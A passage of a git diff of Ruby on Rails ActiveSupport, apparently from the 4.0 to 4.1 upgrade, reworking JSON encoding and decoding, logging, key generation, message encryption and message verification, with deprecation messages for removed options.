- begin
- constantize(camel_cased_word)
- rescue NameError => e
- raise unless e.message =~ /(uninitialized constant|wrong constant name) #{const_regexp(camel_cased_word)}$/ ||
- e.name.to_s == camel_cased_word.to_s
- rescue ArgumentError => e
- raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/
- end
+ constantize(camel_cased_word)
+ rescue NameError => e
+ raise if e.name && !(camel_cased_word.to_s.split("::").include?(e.name.to_s) ||
+ e.name.to_s == camel_cased_word.to_s)
+ rescue ArgumentError => e
+ raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/
end
# Returns the suffix that should be added to a number to denote the position
@@ -315,10 +348,16 @@ module ActiveSupport
private
- # Mount a regular expression that will match part by part of the constant.
- # For instance, Foo::Bar::Baz will generate Foo(::Bar(::Baz)?)?
+ # Mounts a regular expression, returned as a string to ease interpolation,
+ # that will match part by part the given constant.
+ #
+ # const_regexp("Foo::Bar::Baz") # => "Foo(::Bar(::Baz)?)?"
+ # const_regexp("::") # => "::"
def const_regexp(camel_cased_word) #:nodoc:
parts = camel_cased_word.split("::")
+
+ return Regexp.escape(camel_cased_word) if parts.blank?
+
last = parts.pop
parts.reverse.inject(last) do |acc, part|
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index a4a32b2ad0..35548f3f56 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -1,20 +1,30 @@
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/module/delegation'
-require 'multi_json'
+require 'json'
module ActiveSupport
# Look for and parse json strings that look like ISO 8601 times.
mattr_accessor :parse_json_times
module JSON
+ # matches YAML-formatted dates
+ DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
+
class << self
# Parses a JSON string (JavaScript Object Notation) into a hash.
- # See www.json.org for more info.
+ # See http://www.json.org for more info.
#
# ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
# => {"team" => "rails", "players" => "36"}
- def decode(json, options ={})
- data = MultiJson.load(json, options)
+ def decode(json, options = {})
+ if options.present?
+ raise ArgumentError, "In Rails 4.1, ActiveSupport::JSON.decode no longer " \
+ "accepts an options hash for MultiJSON. MultiJSON reached its end of life " \
+ "and has been removed."
+ end
+
+ data = ::JSON.parse(json, quirks_mode: true)
+
if ActiveSupport.parse_json_times
convert_dates_from(data)
else
@@ -22,23 +32,6 @@ module ActiveSupport
end
end
- def engine
- MultiJson.adapter
- end
- alias :backend :engine
-
- def engine=(name)
- MultiJson.use(name)
- end
- alias :backend= :engine=
-
- def with_backend(name)
- old_backend, self.backend = backend, name
- yield
- ensure
- self.backend = old_backend
- end
-
# Returns the class of the error that will be raised when there is an
# error in decoding JSON. Using this method means you won't directly
# depend on the ActiveSupport's JSON implementation, in case it changes
@@ -50,7 +43,7 @@ module ActiveSupport
# Rails.logger.warn("Attempted to decode invalid JSON: #{some_string}")
# end
def parse_error
- MultiJson::DecodeError
+ ::JSON::ParserError
end
private
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 7a5c351ca8..c0ac5af153 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -1,344 +1,172 @@
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
require 'active_support/core_ext/module/delegation'
-require 'active_support/json/variable'
-
-require 'bigdecimal'
-require 'active_support/core_ext/big_decimal/conversions' # for #to_s
-require 'active_support/core_ext/hash/except'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/object/instance_variables'
-require 'time'
-require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/date_time/conversions'
-require 'active_support/core_ext/date/conversions'
-require 'set'
module ActiveSupport
class << self
delegate :use_standard_json_time_format, :use_standard_json_time_format=,
+ :time_precision, :time_precision=,
:escape_html_entities_in_json, :escape_html_entities_in_json=,
:encode_big_decimal_as_string, :encode_big_decimal_as_string=,
+ :json_encoder, :json_encoder=,
:to => :'ActiveSupport::JSON::Encoding'
end
module JSON
- # matches YAML-formatted dates
- DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
-
# Dumps objects in JSON (JavaScript Object Notation).
- # See www.json.org for more info.
+ # See http://www.json.org for more info.
#
# ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
# # => "{\"team\":\"rails\",\"players\":\"36\"}"
def self.encode(value, options = nil)
- Encoding::Encoder.new(options).encode(value)
+ Encoding.json_encoder.new(options).encode(value)
end
module Encoding #:nodoc:
- class CircularReferenceError < StandardError; end
-
- class Encoder
+ class JSONGemEncoder #:nodoc:
attr_reader :options
def initialize(options = nil)
@options = options || {}
- @seen = Set.new
end
- def encode(value, use_options = true)
- check_for_circular_references(value) do
- jsonified = use_options ? value.as_json(options_for(value)) : value.as_json
- jsonified.encode_json(self)
- end
+ # Encode the given object into a JSON string
+ def encode(value)
+ stringify jsonify value.as_json(options.dup)
end
- # like encode, but only calls as_json, without encoding to string.
- def as_json(value, use_options = true)
- check_for_circular_references(value) do
- use_options ? value.as_json(options_for(value)) : value.as_json
+ private
+ # Rails does more escaping than the JSON gem natively does (we
+ # escape \u2028 and \u2029 and optionally >, <, & to work around
+ # certain browser problems).
+ ESCAPED_CHARS = {
+ "\u2028" => '\u2028',
+ "\u2029" => '\u2029',
+ '>' => '\u003e',
+ '<' => '\u003c',
+ '&' => '\u0026',
+ }
+
+ ESCAPE_REGEX_WITH_HTML_ENTITIES = /[\u2028\u2029><&]/u
+ ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
+
+ # This class wraps all the strings we see and does the extra escaping
+ class EscapedString < String #:nodoc:
+ def to_json(*)
+ if Encoding.escape_html_entities_in_json
+ super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
+ else
+ super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS
+ end
+ end
end
- end
- def options_for(value)
- if value.is_a?(Array) || value.is_a?(Hash)
- # hashes and arrays need to get encoder in the options, so that
- # they can detect circular references.
- options.merge(:encoder => self)
- else
- options.dup
+ # Mark these as private so we don't leak encoding-specific constructs
+ private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
+ :ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
+
+ # Convert an object into a "JSON-ready" representation composed of
+ # primitives like Hash, Array, String, Numeric, and true/false/nil.
+ # Recursively calls #as_json to the object to recursively build a
+ # fully JSON-ready object.
+ #
+ # This allows developers to implement #as_json without having to
+ # worry about what base types of objects they are allowed to return
+ # or having to remember to call #as_json recursively.
+ #
+ # Note: the +options+ hash passed to +object.to_json+ is only passed
+ # to +object.as_json+, not any of this method's recursive +#as_json+
+ # calls.
+ def jsonify(value)
+ case value
+ when String
+ EscapedString.new(value)
+ when Numeric, NilClass, TrueClass, FalseClass
+ value
+ when Hash
+ Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+ when Array
+ value.map { |v| jsonify(v) }
+ else
+ jsonify value.as_json
+ end
end
- end
-
- def escape(string)
- Encoding.escape(string)
- end
- private
- def check_for_circular_references(value)
- unless @seen.add?(value.__id__)
- raise CircularReferenceError, 'object references itself'
- end
- yield
- ensure
- @seen.delete(value.__id__)
+ # Encode a "jsonified" Ruby data structure using the JSON gem
+ def stringify(jsonified)
+ ::JSON.generate(jsonified, quirks_mode: true, max_nesting: false)
end
end
-
- ESCAPED_CHARS = {
- "\x00" => '\u0000', "\x01" => '\u0001', "\x02" => '\u0002',
- "\x03" => '\u0003', "\x04" => '\u0004', "\x05" => '\u0005',
- "\x06" => '\u0006', "\x07" => '\u0007', "\x0B" => '\u000B',
- "\x0E" => '\u000E', "\x0F" => '\u000F', "\x10" => '\u0010',
- "\x11" => '\u0011', "\x12" => '\u0012', "\x13" => '\u0013',
- "\x14" => '\u0014', "\x15" => '\u0015', "\x16" => '\u0016',
- "\x17" => '\u0017', "\x18" => '\u0018', "\x19" => '\u0019',
- "\x1A" => '\u001A', "\x1B" => '\u001B', "\x1C" => '\u001C',
- "\x1D" => '\u001D', "\x1E" => '\u001E', "\x1F" => '\u001F',
- "\010" => '\b',
- "\f" => '\f',
- "\n" => '\n',
- "\r" => '\r',
- "\t" => '\t',
- '"' => '\"',
- '\\' => '\\\\',
- '>' => '\u003E',
- '<' => '\u003C',
- '&' => '\u0026' }
-
class << self
# If true, use ISO 8601 format for dates and times. Otherwise, fall back
# to the Active Support legacy format.
attr_accessor :use_standard_json_time_format
- # If false, serializes BigDecimal objects as numeric instead of wrapping
- # them in a string.
- attr_accessor :encode_big_decimal_as_string
-
- attr_accessor :escape_regex
- attr_reader :escape_html_entities_in_json
-
- def escape_html_entities_in_json=(value)
- self.escape_regex = \
- if @escape_html_entities_in_json = value
- /[\x00-\x1F"\\><&]/
- else
- /[\x00-\x1F"\\]/
- end
- end
-
- def escape(string)
- string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
- json = string.
- gsub(escape_regex) { |s| ESCAPED_CHARS[s] }.
- gsub(/([\xC0-\xDF][\x80-\xBF]|
- [\xE0-\xEF][\x80-\xBF]{2}|
- [\xF0-\xF7][\x80-\xBF]{3})+/nx) { |s|
- s.unpack("U*").pack("n*").unpack("H*")[0].gsub(/.{4}/n, '\\\\u\&')
- }
- json = %("#{json}")
- json.force_encoding(::Encoding::UTF_8)
- json
- end
- end
-
- self.use_standard_json_time_format = true
- self.escape_html_entities_in_json = true
- self.encode_big_decimal_as_string = true
- end
- end
-end
-
-class Object
- def as_json(options = nil) #:nodoc:
- if respond_to?(:to_hash)
- to_hash
- else
- instance_values
- end
- end
-end
-
-class Struct #:nodoc:
- def as_json(options = nil)
- Hash[members.zip(values)]
- end
-end
-
-class TrueClass
- def as_json(options = nil) #:nodoc:
- self
- end
+ # If true, encode >, <, & as escaped unicode sequences (e.g. > as \u003e)
+ # as a safety measure.
+ attr_accessor :escape_html_entities_in_json
- def encode_json(encoder) #:nodoc:
- to_s
- end
-end
+ # Sets the precision of encoded time values.
+ # Defaults to 3 (equivalent to millisecond precision)
+ attr_accessor :time_precision
-class FalseClass
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
-end
+ # Sets the encoder used by Rails to encode Ruby objects into JSON strings
+ # in +Object#to_json+ and +ActiveSupport::JSON.encode+.
+ attr_accessor :json_encoder
-class NilClass
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- 'null'
- end
-end
-
-class String
- def as_json(options = nil) #:nodoc:
- self
- end
+ def encode_big_decimal_as_string=(as_string)
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you have 'active_support.encode_big_decimal_as_string' in " \
+ "your configuration file. If you have been setting this to true, you can safely remove it from " \
+ "your configuration. Otherwise, you should add the 'activesupport-json_encoder' gem to your " \
+ "Gemfile in order to restore this functionality."
- def encode_json(encoder) #:nodoc:
- encoder.escape(self)
- end
-end
-
-class Symbol
- def as_json(options = nil) #:nodoc:
- to_s
- end
-end
-
-class Numeric
- def as_json(options = nil) #:nodoc:
- self
- end
-
- def encode_json(encoder) #:nodoc:
- to_s
- end
-end
-
-class Float
- # Encoding Infinity or NaN to JSON should return "null". The default returns
- # "Infinity" or "NaN" which breaks parsing the JSON. E.g. JSON.parse('[NaN]').
- def as_json(options = nil) #:nodoc:
- finite? ? self : nil
- end
-end
-
-class BigDecimal
- # A BigDecimal would be naturally represented as a JSON number. Most libraries,
- # however, parse non-integer JSON numbers directly as floats. Clients using
- # those libraries would get in general a wrong number and no way to recover
- # other than manually inspecting the string with the JSON code itself.
- #
- # That's why a JSON string is returned. The JSON literal is not numeric, but
- # if the other end knows by contract that the data is supposed to be a
- # BigDecimal, it still has the chance to post-process the string and get the
- # real value.
- #
- # Use <tt>ActiveSupport.use_standard_json_big_decimal_format = true</tt> to
- # override this behaviour.
- def as_json(options = nil) #:nodoc:
- if finite?
- ActiveSupport.encode_big_decimal_as_string ? to_s : self
- else
- nil
- end
- end
-end
-
-class Regexp
- def as_json(options = nil) #:nodoc:
- to_s
- end
-end
+ raise NotImplementedError, message
+ end
-module Enumerable
- def as_json(options = nil) #:nodoc:
- to_a.as_json(options)
- end
-end
+ def encode_big_decimal_as_string
+ message = \
+ "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+ "the new encoder will always encode them as strings.\n\n" \
+ "You are seeing this error because you are trying to check the value of the related configuration, " \
+ "`active_support.encode_big_decimal_as_string`. If your application depends on this option, you should " \
+ "add the 'activesupport-json_encoder' gem to your Gemfile. For now, this option will always be true. " \
+ "In the future, it will be removed from Rails, so you should stop checking its value."
-class Range
- def as_json(options = nil) #:nodoc:
- to_s
- end
-end
+ ActiveSupport::Deprecation.warn message
-class Array
- def as_json(options = nil) #:nodoc:
- # use encoder as a proxy to call as_json on all elements, to protect from circular references
- encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
- map { |v| encoder.as_json(v, options) }
- end
-
- def encode_json(encoder) #:nodoc:
- # we assume here that the encoder has already run as_json on self and the elements, so we run encode_json directly
- "[#{map { |v| v.encode_json(encoder) } * ','}]"
- end
-end
+ true
+ end
-class Hash
- def as_json(options = nil) #:nodoc:
- # create a subset of the hash by applying :only or :except
- subset = if options
- if attrs = options[:only]
- slice(*Array(attrs))
- elsif attrs = options[:except]
- except(*Array(attrs))
- else
- self
+ # Deprecate CircularReferenceError
+ def const_missing(name)
+ if name == :CircularReferenceError
+ message = "The JSON encoder in Rails 4.1 no longer offers protection from circular references. " \
+ "You are seeing this warning because you are rescuing from (or otherwise referencing) " \
+ "ActiveSupport::Encoding::CircularReferenceError. In the future, this error will be " \
+ "removed from Rails. You should remove these rescue blocks from your code and ensure " \
+ "that your data structures are free of circular references so they can be properly " \
+ "serialized into JSON.\n\n" \
+ "For example, the following Hash contains a circular reference to itself:\n" \
+ " h = {}\n" \
+ " h['circular'] = h\n" \
+ "In this case, calling h.to_json would not work properly."
+
+ ActiveSupport::Deprecation.warn message
+
+ SystemStackError
+ else
+ super
+ end
+ end
end
- else
- self
- end
-
- # use encoder as a proxy to call as_json on all values in the subset, to protect from circular references
- encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
- Hash[subset.map { |k, v| [k.to_s, encoder.as_json(v, options)] }]
- end
- def encode_json(encoder) #:nodoc:
- # values are encoded with use_options = false, because we don't want hash representations from ActiveModel to be
- # processed once again with as_json with options, as this could cause unexpected results (i.e. missing fields);
-
- # on the other hand, we need to run as_json on the elements, because the model representation may contain fields
- # like Time/Date in their original (not jsonified) form, etc.
-
- "{#{map { |k,v| "#{encoder.encode(k.to_s)}:#{encoder.encode(v, false)}" } * ','}}"
- end
-end
-
-class Time
- def as_json(options = nil) #:nodoc:
- if ActiveSupport.use_standard_json_time_format
- xmlschema
- else
- %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
- end
- end
-end
-
-class Date
- def as_json(options = nil) #:nodoc:
- if ActiveSupport.use_standard_json_time_format
- strftime("%Y-%m-%d")
- else
- strftime("%Y/%m/%d")
- end
- end
-end
-
-class DateTime
- def as_json(options = nil) #:nodoc:
- if ActiveSupport.use_standard_json_time_format
- xmlschema
- else
- strftime('%Y/%m/%d %H:%M:%S %z')
+ self.use_standard_json_time_format = true
+ self.escape_html_entities_in_json = true
+ self.json_encoder = JSONGemEncoder
+ self.time_precision = 3
end
end
end
diff --git a/activesupport/lib/active_support/json/variable.rb b/activesupport/lib/active_support/json/variable.rb
deleted file mode 100644
index d69dab6408..0000000000
--- a/activesupport/lib/active_support/json/variable.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'active_support/deprecation'
-
-module ActiveSupport
- module JSON
- # Deprecated: A string that returns itself as its JSON-encoded form.
- class Variable < String
- def initialize(*args)
- message = 'ActiveSupport::JSON::Variable is deprecated and will be removed in Rails 4.1. ' \
- 'For your own custom JSON literals, define #as_json and #encode_json yourself.'
- ActiveSupport::Deprecation.warn message
- super
- end
-
- def as_json(options = nil) self end #:nodoc:
- def encode_json(encoder) self end #:nodoc:
- end
- end
-end
diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb
index 6beb2b6afa..51d2da3a79 100644
--- a/activesupport/lib/active_support/key_generator.rb
+++ b/activesupport/lib/active_support/key_generator.rb
@@ -1,10 +1,10 @@
-require 'mutex_m'
+require 'thread_safe'
require 'openssl'
module ActiveSupport
# KeyGenerator is a simple wrapper around OpenSSL's implementation of PBKDF2
# It can be used to derive a number of keys for various purposes from a given secret.
- # This lets rails applications have a single secure secret, but avoid reusing that
+ # This lets Rails applications have a single secure secret, but avoid reusing that
# key in multiple incompatible contexts.
class KeyGenerator
def initialize(secret, options = {})
@@ -28,20 +28,18 @@ module ActiveSupport
class CachingKeyGenerator
def initialize(key_generator)
@key_generator = key_generator
- @cache_keys = {}.extend(Mutex_m)
+ @cache_keys = ThreadSafe::Cache.new
end
# Returns a derived key suitable for use. The default key_size is chosen
# to be compatible with the default settings of ActiveSupport::MessageVerifier.
# i.e. OpenSSL::Digest::SHA1#block_length
def generate_key(salt, key_size=64)
- @cache_keys.synchronize do
- @cache_keys["#{salt}#{key_size}"] ||= @key_generator.generate_key(salt, key_size)
- end
+ @cache_keys["#{salt}#{key_size}"] ||= @key_generator.generate_key(salt, key_size)
end
end
- class DummyKeyGenerator # :nodoc:
+ class LegacyKeyGenerator # :nodoc:
SECRET_MIN_LENGTH = 30 # Characters
def initialize(secret)
@@ -59,18 +57,16 @@ module ActiveSupport
# secret they've provided is at least 30 characters in length.
def ensure_secret_secure(secret)
if secret.blank?
- raise ArgumentError, "A secret is required to generate an " +
- "integrity hash for cookie session data. Use " +
- "config.secret_key_base = \"some secret phrase of at " +
- "least #{SECRET_MIN_LENGTH} characters\"" +
- "in config/initializers/secret_token.rb"
+ raise ArgumentError, "A secret is required to generate an integrity hash " \
+ "for cookie session data. Set a secret_key_base of at least " \
+ "#{SECRET_MIN_LENGTH} characters in config/secrets.yml."
end
if secret.length < SECRET_MIN_LENGTH
- raise ArgumentError, "Secret should be something secure, " +
- "like \"#{SecureRandom.hex(16)}\". The value you " +
- "provided, \"#{secret}\", is shorter than the minimum length " +
- "of #{SECRET_MIN_LENGTH} characters"
+ raise ArgumentError, "Secret should be something secure, " \
+ "like \"#{SecureRandom.hex(16)}\". The value you " \
+ "provided, \"#{secret}\", is shorter than the minimum length " \
+ "of #{SECRET_MIN_LENGTH} characters."
end
end
end
diff --git a/activesupport/lib/active_support/lazy_load_hooks.rb b/activesupport/lib/active_support/lazy_load_hooks.rb
index e489512531..e2b8f0f648 100644
--- a/activesupport/lib/active_support/lazy_load_hooks.rb
+++ b/activesupport/lib/active_support/lazy_load_hooks.rb
@@ -1,5 +1,5 @@
module ActiveSupport
- # lazy_load_hooks allows rails to lazily load a lot of components and thus
+ # lazy_load_hooks allows Rails to lazily load a lot of components and thus
# making the app boot faster. Because of this feature now there is no need to
# require <tt>ActiveRecord::Base</tt> at boot time purely to apply
# configuration. Instead a hook is registered that applies configuration once
diff --git a/activesupport/lib/active_support/locale/en.yml b/activesupport/lib/active_support/locale/en.yml
index f4900dc935..a4563ace8f 100644
--- a/activesupport/lib/active_support/locale/en.yml
+++ b/activesupport/lib/active_support/locale/en.yml
@@ -16,9 +16,9 @@ en:
abbr_month_names: [~, Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec]
# Used in date_select and datetime_select.
order:
- - :year
- - :month
- - :day
+ - year
+ - month
+ - day
time:
formats:
diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb
index a58afc6b9d..e95dc5a866 100644
--- a/activesupport/lib/active_support/log_subscriber.rb
+++ b/activesupport/lib/active_support/log_subscriber.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/class/attribute'
+require 'active_support/subscriber'
module ActiveSupport
# ActiveSupport::LogSubscriber is an object set to consume
@@ -33,7 +34,7 @@ module ActiveSupport
# Log subscriber also has some helpers to deal with logging and automatically
# flushes all logs when the request finishes (via action_dispatch.callback
# notification) in a Rails environment.
- class LogSubscriber
+ class LogSubscriber < Subscriber
# Embed in a String to clear all previous ANSI sequences.
CLEAR = "\e[0m"
BOLD = "\e[1m"
@@ -53,24 +54,15 @@ module ActiveSupport
class << self
def logger
- @logger ||= Rails.logger if defined?(Rails)
- @logger
+ @logger ||= if defined?(Rails) && Rails.respond_to?(:logger)
+ Rails.logger
+ end
end
attr_writer :logger
- def attach_to(namespace, log_subscriber=new, notifier=ActiveSupport::Notifications)
- log_subscribers << log_subscriber
-
- log_subscriber.public_methods(false).each do |event|
- next if %w{ start finish }.include?(event.to_s)
-
- notifier.subscribe("#{event}.#{namespace}", log_subscriber)
- end
- end
-
def log_subscribers
- @@log_subscribers ||= []
+ subscribers
end
# Flush all log_subscribers' logger.
@@ -79,39 +71,18 @@ module ActiveSupport
end
end
- def initialize
- @queue_key = [self.class.name, object_id].join "-"
- super
- end
-
def logger
LogSubscriber.logger
end
def start(name, id, payload)
- return unless logger
-
- e = ActiveSupport::Notifications::Event.new(name, Time.now, nil, id, payload)
- parent = event_stack.last
- parent << e if parent
-
- event_stack.push e
+ super if logger
end
def finish(name, id, payload)
- return unless logger
-
- finished = Time.now
- event = event_stack.pop
- event.end = finished
- event.payload.merge!(payload)
-
- method = name.split('.').first
- begin
- send(method, event)
- rescue Exception => e
- logger.error "Could not log #{name.inspect} event. #{e.class}: #{e.message} #{e.backtrace}"
- end
+ super if logger
+ rescue Exception => e
+ logger.error "Could not log #{name.inspect} event. #{e.class}: #{e.message} #{e.backtrace}"
end
protected
@@ -134,11 +105,5 @@ module ActiveSupport
bold = bold ? BOLD : ""
"#{bold}#{color}#{text}#{CLEAR}"
end
-
- private
-
- def event_stack
- Thread.current[@queue_key] ||= []
- end
end
end
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
index 63dad7e01a..75f353f62c 100644
--- a/activesupport/lib/active_support/log_subscriber/test_helper.rb
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -1,5 +1,5 @@
require 'active_support/log_subscriber'
-require 'active_support/buffered_logger'
+require 'active_support/logger'
require 'active_support/notifications'
module ActiveSupport
@@ -15,7 +15,7 @@ module ActiveSupport
# end
#
# def test_basic_query_logging
- # Developer.all
+ # Developer.all.to_a
# wait
# assert_equal 1, @logger.logged(:debug).size
# assert_match(/Developer Load/, @logger.logged(:debug).last)
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
index 65202f99fc..33fccdcf95 100644
--- a/activesupport/lib/active_support/logger.rb
+++ b/activesupport/lib/active_support/logger.rb
@@ -1,7 +1,11 @@
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/logger_silence'
require 'logger'
module ActiveSupport
class Logger < ::Logger
+ include LoggerSilence
+
# Broadcasts logs to multiple loggers.
def self.broadcast(logger) # :nodoc:
Module.new do
diff --git a/activesupport/lib/active_support/logger_silence.rb b/activesupport/lib/active_support/logger_silence.rb
new file mode 100644
index 0000000000..a8efdef944
--- /dev/null
+++ b/activesupport/lib/active_support/logger_silence.rb
@@ -0,0 +1,24 @@
+require 'active_support/concern'
+
+module LoggerSilence
+ extend ActiveSupport::Concern
+
+ included do
+ cattr_accessor :silencer
+ self.silencer = true
+ end
+
+ # Silences the logger for the duration of the block.
+ def silence(temporary_level = Logger::ERROR)
+ if silencer
+ begin
+ old_logger_level, self.level = level, temporary_level
+ yield self
+ ensure
+ self.level = old_logger_level
+ end
+ else
+ yield self
+ end
+ end
+end \ No newline at end of file
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
index b7dc0689b0..92ab6fe648 100644
--- a/activesupport/lib/active_support/message_encryptor.rb
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -1,5 +1,6 @@
require 'openssl'
require 'base64'
+require 'active_support/core_ext/array/extract_options'
module ActiveSupport
# MessageEncryptor is a simple way to encrypt values which get stored
@@ -11,10 +12,11 @@ module ActiveSupport
# This can be used in situations similar to the <tt>MessageVerifier</tt>, but
# where you don't want users to be able to determine the value of the payload.
#
- # key = OpenSSL::Digest::SHA256.new('password').digest # => "\x89\xE0\x156\xAC..."
- # crypt = ActiveSupport::MessageEncryptor.new(key) # => #<ActiveSupport::MessageEncryptor ...>
- # encrypted_data = crypt.encrypt_and_sign('my secret data') # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
- # crypt.decrypt_and_verify(encrypted_data) # => "my secret data"
+ # salt = SecureRandom.random_bytes(64)
+ # key = ActiveSupport::KeyGenerator.new('password').generate_key(salt) # => "\x89\xE0\x156\xAC..."
+ # crypt = ActiveSupport::MessageEncryptor.new(key) # => #<ActiveSupport::MessageEncryptor ...>
+ # encrypted_data = crypt.encrypt_and_sign('my secret data') # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
+ # crypt.decrypt_and_verify(encrypted_data) # => "my secret data"
class MessageEncryptor
module NullSerializer #:nodoc:
def self.load(value)
@@ -27,7 +29,7 @@ module ActiveSupport
end
class InvalidMessage < StandardError; end
- OpenSSLCipherError = OpenSSL::Cipher.const_defined?(:CipherError) ? OpenSSL::Cipher::CipherError : OpenSSL::CipherError
+ OpenSSLCipherError = OpenSSL::Cipher::CipherError
# Initialize a new MessageEncryptor. +secret+ must be at least as long as
# the cipher key size. For the default 'aes-256-cbc' cipher, this is 256
@@ -38,6 +40,7 @@ module ActiveSupport
# Options:
# * <tt>:cipher</tt> - Cipher to use. Can be any cipher returned by
# <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-cbc'.
+ # * <tt>:digest</tt> - String of digest to use for signing. Default is +SHA1+.
# * <tt>:serializer</tt> - Object serializer to use. Default is +Marshal+.
def initialize(secret, *signature_key_or_options)
options = signature_key_or_options.extract_options!
@@ -45,7 +48,7 @@ module ActiveSupport
@secret = secret
@sign_secret = sign_secret
@cipher = options[:cipher] || 'aes-256-cbc'
- @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
+ @verifier = MessageVerifier.new(@sign_secret || @secret, digest: options[:digest] || 'SHA1', serializer: NullSerializer)
@serializer = options[:serializer] || Marshal
end
@@ -65,22 +68,21 @@ module ActiveSupport
def _encrypt(value)
cipher = new_cipher
- # Rely on OpenSSL for the initialization vector
- iv = cipher.random_iv
-
cipher.encrypt
cipher.key = @secret
- cipher.iv = iv
+
+ # Rely on OpenSSL for the initialization vector
+ iv = cipher.random_iv
encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data << cipher.final
- [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
+ "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
end
def _decrypt(encrypted_message)
cipher = new_cipher
- encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.decode64(v)}
+ encrypted_data, iv = encrypted_message.split("--").map {|v| ::Base64.strict_decode64(v)}
cipher.decrypt
cipher.key = @secret
@@ -90,7 +92,7 @@ module ActiveSupport
decrypted_data << cipher.final
@serializer.load(decrypted_data)
- rescue OpenSSLCipherError, TypeError
+ rescue OpenSSLCipherError, TypeError, ArgumentError
raise InvalidMessage
end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index a87383fe99..d16c1c629b 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -1,5 +1,6 @@
require 'base64'
require 'active_support/core_ext/object/blank'
+require 'active_support/security_utils'
module ActiveSupport
# +MessageVerifier+ makes it easy to generate and verify messages which are
@@ -19,45 +20,104 @@ module ActiveSupport
# end
#
# By default it uses Marshal to serialize the message. If you want to use
- # another serialization method, you can set the serializer attribute to
- # something that responds to dump and load, e.g.:
+ # another serialization method, you can set the serializer in the options
+ # hash upon initialization:
#
- # @verifier.serializer = YAML
+ # @verifier = ActiveSupport::MessageVerifier.new('s3Krit', serializer: YAML)
class MessageVerifier
class InvalidSignature < StandardError; end
def initialize(secret, options = {})
+ raise ArgumentError, 'Secret should not be nil.' unless secret
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end
- def verify(signed_message)
- raise InvalidSignature if signed_message.blank?
+ # Checks if a signed message could have been generated by signing an object
+ # with the +MessageVerifier+'s secret.
+ #
+ # verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+ # signed_message = verifier.generate 'a private message'
+ # verifier.valid_message?(signed_message) # => true
+ #
+ # tampered_message = signed_message.chop # editing the message invalidates the signature
+ # verifier.valid_message?(tampered_message) # => false
+ def valid_message?(signed_message)
+ return if signed_message.blank?
data, digest = signed_message.split("--")
- if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
